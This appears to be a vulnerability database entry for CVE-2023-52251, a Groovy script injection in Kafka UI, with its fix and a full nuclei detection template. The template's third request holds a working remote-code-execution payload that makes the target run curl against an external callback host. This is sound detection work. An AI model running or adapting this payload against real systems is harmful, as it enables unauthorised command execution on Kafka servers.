HexBrain

Browse / CVEs / CVE-2023-52251

CVE-2023-52251· provectus / ui· CWE-94

Kafka UI 0.7.1 Command Injection

highseverity
8.8CVSS score
86.8%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

An issue discovered in provectus kafka-ui 0.4.0 through 0.7.1 allows remote attackers to execute arbitrary code via the q parameter of /api/clusters/local/topics/{topic}/messages.

Impact

Authenticated attackers can inject and execute arbitrary commands via Groovy script injection in the filterQueryType parameter.

Fix

Upgrade Kafka UI to version 0.7.2 or later.

How to confirm it

Send: GET /api/clusters
Send: GET /api/clusters/{{cluster-name}}/topics?page=1&perPage=25&showInternal=true
Send: @timeout 20s
Positive when: contains in interactsh_protocol "http" AND contains "Assigning partitions"

Run it with nuclei: nuclei -id CVE-2023-52251 -u <target>

The full check
id: CVE-2023-52251

info:
  name: Kafka UI 0.7.1 Command Injection
  author: yhy0,iamnoooob
  severity: high
  description: |
    An issue discovered in provectus kafka-ui 0.4.0 through 0.7.1 allows remote attackers to execute arbitrary code via the q parameter of /api/clusters/local/topics/{topic}/messages.
  impact: |
    Authenticated attackers can inject and execute arbitrary commands via Groovy script injection in the filterQueryType parameter.
  remediation: |
    Upgrade Kafka UI to version 0.7.2 or later.
  reference:
    - http://packetstormsecurity.com/files/177214/Kafka-UI-0.7.1-Command-Injection.html
    - https://github.com/BobTheShoplifter/CVE-2023-52251-POC
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-52251
    cwe-id: CWE-94
    epss-score: 0.8684
    epss-percentile: 0.99746
    cpe: cpe:2.3:a:provectus:ui:*:*:*:*:*:kafka:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: provectus
    product: ui
    framework: kafka
    fofa-query: icon_hash="-1477045616"
  tags: cve,cve2023,rce,kafka,kafka-ui,packetstorm,vuln,vkev

http:
  - raw:
      - |
        GET /api/clusters HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: json
        name: cluster-name
        internal: true
        json:
          - '.[0].name'

  - raw:
      - |
        GET /api/clusters/{{cluster-name}}/topics?page=1&perPage=25&showInternal=true HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: json
        name: topic-name
        internal: true
        json:
          - '.topics[].name'

  - raw:
      - |
        @timeout 20s
        GET /api/clusters/{{cluster-name}}/topics/{{topic-name}}/messages?q=new+ProcessBuilder%28%22curl%22%2C%22{{interactsh-url}}%22%29.start%28%29&filterQueryType=GROOVY_SCRIPT&attempt=7&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - 'Assigning partitions'

References

Use this check only on systems you are authorised to test. Where the data comes from